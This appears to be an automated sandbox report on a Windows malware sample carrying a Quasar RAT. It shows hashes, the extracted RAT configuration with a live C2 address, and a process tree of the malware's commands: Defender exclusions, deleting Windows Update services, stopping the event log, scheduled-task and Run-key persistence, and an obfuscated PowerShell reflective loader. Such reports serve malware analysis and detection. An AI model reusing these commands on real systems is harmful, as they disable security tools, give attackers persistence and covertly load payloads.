Analysis

  • max time kernel
    20s
  • max time network
    147s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    27-12-2024 11:11

General

  • Target

    7462c344e88e0cf17eeea4e7b52776bb973cb1e07be2225d429cc0bf1187d394.exe

  • Size

    6.0MB

  • MD5

    fcd7f27674626fbf8bcce5b0e991c03d

  • SHA1

    143515e84e3b48e5bc5286d819f8fd10b8eb5685

  • SHA256

    7462c344e88e0cf17eeea4e7b52776bb973cb1e07be2225d429cc0bf1187d394

  • SHA512

    3464f2200c9eedd17872842b2336786360b34a4bb2f0709b29cb1a8f794b437532193275b43378149424e2d651dba66657d850ccb37e613cb73e76d8a36b98f6

  • SSDEEP

    98304:j3Go5BKtxo5fQIwuhk/UwalC+i0bBHXGgjaQx+OhfzTxzdloaDW:j3GozKYAEk9oCj0bR2Ej1hbTxkJ

Malware Config

Extracted

Family

quasar

Version

1.4.0

Botnet

4Drun

C2

185.148.3.216:4000

Mutex

c3557859-56ac-475e-b44d-e1b60c20d0d0

Attributes
  • encryption_key

    B000736BEBDF08FC1B6696200651882CF57E43E7

  • install_name

    Client.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    3dfx Startup

  • subdirectory

    SubDir

Signatures

  • Modifies security service 2 TTPs 2 IoCs
  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar family
  • Quasar payload 3 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Using powershell.exe command.

  • Creates new service(s) 2 TTPs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 4 IoCs
  • Power Settings 1 TTPs 18 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Drops file in Windows directory 8 IoCs
  • Launches sc.exe 24 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:420
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{e1be78f7-7acb-4488-9a11-e0ad87b4b512}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:560
      • C:\Windows\SysWOW64\dllhost.exe
        C:\Windows\SysWOW64\dllhost.exe /Processid:{7ed147a9-ac17-40cd-8345-2a023c6c4460}
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2920
    • C:\Windows\system32\services.exe
      C:\Windows\system32\services.exe
      1⤵
      • Sets service image path in registry
      PID:476
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k DcomLaunch
        2⤵
          PID:596
          • C:\Windows\system32\wbem\wmiprvse.exe
            C:\Windows\system32\wbem\wmiprvse.exe
            3⤵
              PID:1736
            • C:\Windows\system32\DllHost.exe
              C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
              3⤵
                PID:288
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k RPCSS
              2⤵
                PID:672
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
                2⤵
                  PID:748
                • C:\Windows\System32\svchost.exe
                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
                  2⤵
                    PID:808
                    • C:\Windows\system32\Dwm.exe
                      "C:\Windows\system32\Dwm.exe"
                      3⤵
                        PID:1208
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs
                      2⤵
                      • Drops file in Windows directory
                      • Suspicious use of AdjustPrivilegeToken
                      PID:844
                      • C:\Windows\system32\taskeng.exe
                        taskeng.exe {61D2DC54-CCAD-4720-BD60-9372FDFBC4B1} S-1-5-18:NT AUTHORITY\System:Service:
                        3⤵
                        • Loads dropped DLL
                        PID:2244
                        • C:\Program Files\Cuis\bon\Bara.exe
                          "C:\Program Files\Cuis\bon\Bara.exe"
                          4⤵
                          • Executes dropped EXE
                          PID:1368
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
                            5⤵
                            • Command and Scripting Interpreter: PowerShell
                            PID:2152
                          • C:\Windows\system32\cmd.exe
                            cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                            5⤵
                              PID:1740
                              • C:\Windows\system32\sc.exe
                                sc stop UsoSvc
                                6⤵
                                • Launches sc.exe
                                PID:3052
                              • C:\Windows\system32\sc.exe
                                sc stop WaaSMedicSvc
                                6⤵
                                • Launches sc.exe
                                PID:2672
                              • C:\Windows\system32\sc.exe
                                sc stop wuauserv
                                6⤵
                                • Launches sc.exe
                                PID:872
                              • C:\Windows\system32\sc.exe
                                sc stop bits
                                6⤵
                                • Launches sc.exe
                                PID:1708
                              • C:\Windows\system32\sc.exe
                                sc stop dosvc
                                6⤵
                                • Launches sc.exe
                                PID:2576
                              • C:\Windows\system32\reg.exe
                                reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
                                6⤵
                                  PID:2892
                                • C:\Windows\system32\reg.exe
                                  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
                                  6⤵
                                    PID:2716
                                  • C:\Windows\system32\reg.exe
                                    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
                                    6⤵
                                      PID:340
                                    • C:\Windows\system32\reg.exe
                                      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                                      6⤵
                                        PID:1952
                                    • C:\Windows\system32\cmd.exe
                                      cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
                                      5⤵
                                      • Power Settings
                                      PID:988
                                      • C:\Windows\system32\powercfg.exe
                                        powercfg /x -hibernate-timeout-ac 0
                                        6⤵
                                        • Power Settings
                                        PID:2404
                                      • C:\Windows\system32\powercfg.exe
                                        powercfg /x -hibernate-timeout-dc 0
                                        6⤵
                                        • Power Settings
                                        PID:340
                                      • C:\Windows\system32\powercfg.exe
                                        powercfg /x -standby-timeout-ac 0
                                        6⤵
                                        • Power Settings
                                        PID:2316
                                      • C:\Windows\system32\powercfg.exe
                                        powercfg /x -standby-timeout-dc 0
                                        6⤵
                                        • Power Settings
                                        PID:1696
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell <#tkmebyokj#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'Barac' /tr '''C:\Program Files\Cuis\bon\Bara.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Cuis\bon\Bara.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Barac' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Barac" /t REG_SZ /f /d 'C:\Program Files\Cuis\bon\Bara.exe' }
                                      5⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      PID:1860
                                      • C:\Windows\system32\schtasks.exe
                                        "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn Barac /tr "'C:\Program Files\Cuis\bon\Bara.exe'"
                                        6⤵
                                        • Scheduled Task/Job: Scheduled Task
                                        PID:2724
                                    • C:\Windows\system32\dialer.exe
                                      C:\Windows\system32\dialer.exe ujznpffbjbh
                                      5⤵
                                        PID:1488
                                        • C:\Windows\system32\cmd.exe
                                          cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
                                          6⤵
                                            PID:1064
                                            • C:\Windows\System32\Wbem\WMIC.exe
                                              wmic PATH Win32_VideoController GET Name, VideoProcessor
                                              7⤵
                                              • Detects videocard installed
                                              PID:2884
                                        • C:\Windows\system32\cmd.exe
                                          cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
                                          5⤵
                                            PID:684
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
                                          4⤵
                                          • Suspicious use of NtCreateUserProcessOtherParentProcess
                                          • Drops file in System32 directory
                                          • Suspicious use of SetThreadContext
                                          • Modifies data under HKEY_USERS
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:760
                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
                                          C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
                                          4⤵
                                          • Suspicious use of NtCreateUserProcessOtherParentProcess
                                          • Drops file in System32 directory
                                          • Suspicious use of SetThreadContext
                                          • System Location Discovery: System Language Discovery
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:1372
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k LocalService
                                      2⤵
                                        PID:960
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k NetworkService
                                        2⤵
                                          PID:112
                                        • C:\Windows\System32\spoolsv.exe
                                          C:\Windows\System32\spoolsv.exe
                                          2⤵
                                            PID:1012
                                          • C:\Windows\system32\svchost.exe
                                            C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
                                            2⤵
                                              PID:904
                                            • C:\Windows\system32\taskhost.exe
                                              "taskhost.exe"
                                              2⤵
                                                PID:1112
                                              • C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
                                                "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
                                                2⤵
                                                  PID:1616
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
                                                  2⤵
                                                    PID:2012
                                                  • C:\Windows\system32\sppsvc.exe
                                                    C:\Windows\system32\sppsvc.exe
                                                    2⤵
                                                      PID:2296
                                                    • C:\ProgramData\mxergolzfguk\kaptsegthwf.exe
                                                      C:\ProgramData\mxergolzfguk\kaptsegthwf.exe
                                                      2⤵
                                                        PID:1800
                                                        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                          C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                          3⤵
                                                          • Command and Scripting Interpreter: PowerShell
                                                          PID:1792
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                          3⤵
                                                            PID:2760
                                                            • C:\Windows\system32\wusa.exe
                                                              wusa /uninstall /kb:890830 /quiet /norestart
                                                              4⤵
                                                                PID:2944
                                                            • C:\Windows\system32\sc.exe
                                                              C:\Windows\system32\sc.exe stop UsoSvc
                                                              3⤵
                                                              • Launches sc.exe
                                                              PID:1128
                                                            • C:\Windows\system32\sc.exe
                                                              C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                              3⤵
                                                              • Launches sc.exe
                                                              PID:2024
                                                            • C:\Windows\system32\sc.exe
                                                              C:\Windows\system32\sc.exe stop wuauserv
                                                              3⤵
                                                              • Launches sc.exe
                                                              PID:2272
                                                            • C:\Windows\system32\sc.exe
                                                              C:\Windows\system32\sc.exe stop bits
                                                              3⤵
                                                              • Launches sc.exe
                                                              PID:1532
                                                            • C:\Windows\system32\sc.exe
                                                              C:\Windows\system32\sc.exe stop dosvc
                                                              3⤵
                                                              • Launches sc.exe
                                                              PID:1540
                                                            • C:\Windows\system32\powercfg.exe
                                                              C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                              3⤵
                                                              • Power Settings
                                                              PID:1948
                                                            • C:\Windows\system32\powercfg.exe
                                                              C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                              3⤵
                                                              • Power Settings
                                                              PID:2400
                                                            • C:\Windows\system32\powercfg.exe
                                                              C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                              3⤵
                                                              • Power Settings
                                                              PID:1756
                                                            • C:\Windows\system32\powercfg.exe
                                                              C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                              3⤵
                                                              • Power Settings
                                                              PID:1488
                                                            • C:\Windows\system32\dialer.exe
                                                              C:\Windows\system32\dialer.exe
                                                              3⤵
                                                                PID:876
                                                              • C:\Windows\system32\dialer.exe
                                                                C:\Windows\system32\dialer.exe
                                                                3⤵
                                                                  PID:2820
                                                                • C:\Windows\system32\dialer.exe
                                                                  dialer.exe
                                                                  3⤵
                                                                    PID:2252
                                                              • C:\Windows\system32\lsass.exe
                                                                C:\Windows\system32\lsass.exe
                                                                1⤵
                                                                  PID:492
                                                                • C:\Windows\system32\lsm.exe
                                                                  C:\Windows\system32\lsm.exe
                                                                  1⤵
                                                                    PID:500
                                                                  • C:\Windows\Explorer.EXE
                                                                    C:\Windows\Explorer.EXE
                                                                    1⤵
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1248
                                                                    • C:\Users\Admin\AppData\Local\Temp\7462c344e88e0cf17eeea4e7b52776bb973cb1e07be2225d429cc0bf1187d394.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\7462c344e88e0cf17eeea4e7b52776bb973cb1e07be2225d429cc0bf1187d394.exe"
                                                                      2⤵
                                                                      • Loads dropped DLL
                                                                      • Suspicious use of WriteProcessMemory
                                                                      PID:3052
                                                                      • C:\Users\Admin\AppData\Local\Temp\doihdjpihrekpoh.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\doihdjpihrekpoh.exe"
                                                                        3⤵
                                                                        • Executes dropped EXE
                                                                        • Drops file in System32 directory
                                                                        • Suspicious use of SetThreadContext
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:3048
                                                                        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                          C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                          4⤵
                                                                          • Command and Scripting Interpreter: PowerShell
                                                                          • Drops file in System32 directory
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:292
                                                                        • C:\Windows\system32\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                          4⤵
                                                                            PID:1868
                                                                            • C:\Windows\system32\wusa.exe
                                                                              wusa /uninstall /kb:890830 /quiet /norestart
                                                                              5⤵
                                                                              • Drops file in Windows directory
                                                                              PID:2120
                                                                          • C:\Windows\system32\sc.exe
                                                                            C:\Windows\system32\sc.exe stop UsoSvc
                                                                            4⤵
                                                                            • Launches sc.exe
                                                                            PID:1528
                                                                          • C:\Windows\system32\sc.exe
                                                                            C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                                            4⤵
                                                                            • Launches sc.exe
                                                                            PID:2412
                                                                          • C:\Windows\system32\sc.exe
                                                                            C:\Windows\system32\sc.exe stop wuauserv
                                                                            4⤵
                                                                            • Launches sc.exe
                                                                            PID:2180
                                                                          • C:\Windows\system32\sc.exe
                                                                            C:\Windows\system32\sc.exe stop bits
                                                                            4⤵
                                                                            • Launches sc.exe
                                                                            PID:1592
                                                                          • C:\Windows\system32\sc.exe
                                                                            C:\Windows\system32\sc.exe stop dosvc
                                                                            4⤵
                                                                            • Launches sc.exe
                                                                            PID:2864
                                                                          • C:\Windows\system32\powercfg.exe
                                                                            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                            4⤵
                                                                            • Power Settings
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:2156
                                                                          • C:\Windows\system32\powercfg.exe
                                                                            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                            4⤵
                                                                            • Power Settings
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1032
                                                                          • C:\Windows\system32\powercfg.exe
                                                                            C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                            4⤵
                                                                            • Power Settings
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1880
                                                                          • C:\Windows\system32\powercfg.exe
                                                                            C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                            4⤵
                                                                            • Power Settings
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1316
                                                                          • C:\Windows\system32\dialer.exe
                                                                            C:\Windows\system32\dialer.exe
                                                                            4⤵
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:2708
                                                                          • C:\Windows\system32\sc.exe
                                                                            C:\Windows\system32\sc.exe delete "WAGDKRVZ"
                                                                            4⤵
                                                                            • Launches sc.exe
                                                                            PID:2476
                                                                          • C:\Windows\system32\sc.exe
                                                                            C:\Windows\system32\sc.exe create "WAGDKRVZ" binpath= "C:\ProgramData\mxergolzfguk\kaptsegthwf.exe" start= "auto"
                                                                            4⤵
                                                                            • Launches sc.exe
                                                                            PID:1476
                                                                          • C:\Windows\system32\sc.exe
                                                                            C:\Windows\system32\sc.exe stop eventlog
                                                                            4⤵
                                                                            • Launches sc.exe
                                                                            PID:268
                                                                          • C:\Windows\system32\sc.exe
                                                                            C:\Windows\system32\sc.exe start "WAGDKRVZ"
                                                                            4⤵
                                                                            • Launches sc.exe
                                                                            PID:376
                                                                        • C:\Users\Admin\AppData\Local\Temp\mklnsegsd.exe
                                                                          "C:\Users\Admin\AppData\Local\Temp\mklnsegsd.exe"
                                                                          3⤵
                                                                          • Executes dropped EXE
                                                                          • Suspicious use of SetThreadContext
                                                                          • Drops file in Program Files directory
                                                                          • Suspicious use of WriteProcessMemory
                                                                          PID:536
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
                                                                            4⤵
                                                                            • Command and Scripting Interpreter: PowerShell
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1036
                                                                          • C:\Windows\system32\cmd.exe
                                                                            cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                                                                            4⤵
                                                                            • Suspicious use of WriteProcessMemory
                                                                            PID:2920
                                                                            • C:\Windows\system32\sc.exe
                                                                              sc stop UsoSvc
                                                                              5⤵
                                                                              • Launches sc.exe
                                                                              PID:2784
                                                                            • C:\Windows\system32\sc.exe
                                                                              sc stop WaaSMedicSvc
                                                                              5⤵
                                                                              • Launches sc.exe
                                                                              PID:1508
                                                                            • C:\Windows\system32\sc.exe
                                                                              sc stop wuauserv
                                                                              5⤵
                                                                              • Launches sc.exe
                                                                              PID:2936
                                                                            • C:\Windows\system32\sc.exe
                                                                              sc stop bits
                                                                              5⤵
                                                                              • Launches sc.exe
                                                                              PID:1728
                                                                            • C:\Windows\system32\sc.exe
                                                                              sc stop dosvc
                                                                              5⤵
                                                                              • Launches sc.exe
                                                                              PID:1516
                                                                            • C:\Windows\system32\reg.exe
                                                                              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
                                                                              5⤵
                                                                                PID:1740
                                                                              • C:\Windows\system32\reg.exe
                                                                                reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
                                                                                5⤵
                                                                                  PID:1760
                                                                                • C:\Windows\system32\reg.exe
                                                                                  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
                                                                                  5⤵
                                                                                  • Modifies security service
                                                                                  PID:2272
                                                                                • C:\Windows\system32\reg.exe
                                                                                  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                                                                                  5⤵
                                                                                    PID:2648
                                                                                  • C:\Windows\system32\reg.exe
                                                                                    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                                                                                    5⤵
                                                                                      PID:2288
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
                                                                                    4⤵
                                                                                    • Power Settings
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:2796
                                                                                    • C:\Windows\system32\powercfg.exe
                                                                                      powercfg /x -hibernate-timeout-ac 0
                                                                                      5⤵
                                                                                      • Power Settings
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      PID:2932
                                                                                    • C:\Windows\system32\powercfg.exe
                                                                                      powercfg /x -hibernate-timeout-dc 0
                                                                                      5⤵
                                                                                      • Power Settings
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      PID:1984
                                                                                    • C:\Windows\system32\powercfg.exe
                                                                                      powercfg /x -standby-timeout-ac 0
                                                                                      5⤵
                                                                                      • Power Settings
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      PID:1744
                                                                                    • C:\Windows\system32\powercfg.exe
                                                                                      powercfg /x -standby-timeout-dc 0
                                                                                      5⤵
                                                                                      • Power Settings
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      PID:1860
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                    powershell <#tkmebyokj#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'Barac' /tr '''C:\Program Files\Cuis\bon\Bara.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Cuis\bon\Bara.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Barac' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Barac" /t REG_SZ /f /d 'C:\Program Files\Cuis\bon\Bara.exe' }
                                                                                    4⤵
                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    PID:1604
                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                      "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn Barac /tr "'C:\Program Files\Cuis\bon\Bara.exe'"
                                                                                      5⤵
                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                      PID:3012
                                                                                  • C:\Windows\system32\dialer.exe
                                                                                    C:\Windows\system32\dialer.exe
                                                                                    4⤵
                                                                                    • Drops file in Windows directory
                                                                                    PID:2092
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                    powershell <#byjeowvd#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "Barac" } Else { "C:\Program Files\Cuis\bon\Bara.exe" }
                                                                                    4⤵
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    PID:2152
                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                      "C:\Windows\system32\schtasks.exe" /run /tn Barac
                                                                                      5⤵
                                                                                        PID:1968
                                                                                  • C:\Users\Admin\AppData\Local\Temp\ergbuiluyfd.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\ergbuiluyfd.exe"
                                                                                    3⤵
                                                                                    • Executes dropped EXE
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:1900
                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                      "schtasks" /create /tn "3dfx Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\ergbuiluyfd.exe" /rl HIGHEST /f
                                                                                      4⤵
                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                      PID:2740
                                                                                    • C:\Users\Admin\AppData\Roaming\SubDir\Client.exe
                                                                                      "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"
                                                                                      4⤵
                                                                                      • Executes dropped EXE
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:2768
                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                        "schtasks" /create /tn "3dfx Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
                                                                                        5⤵
                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                        PID:1928
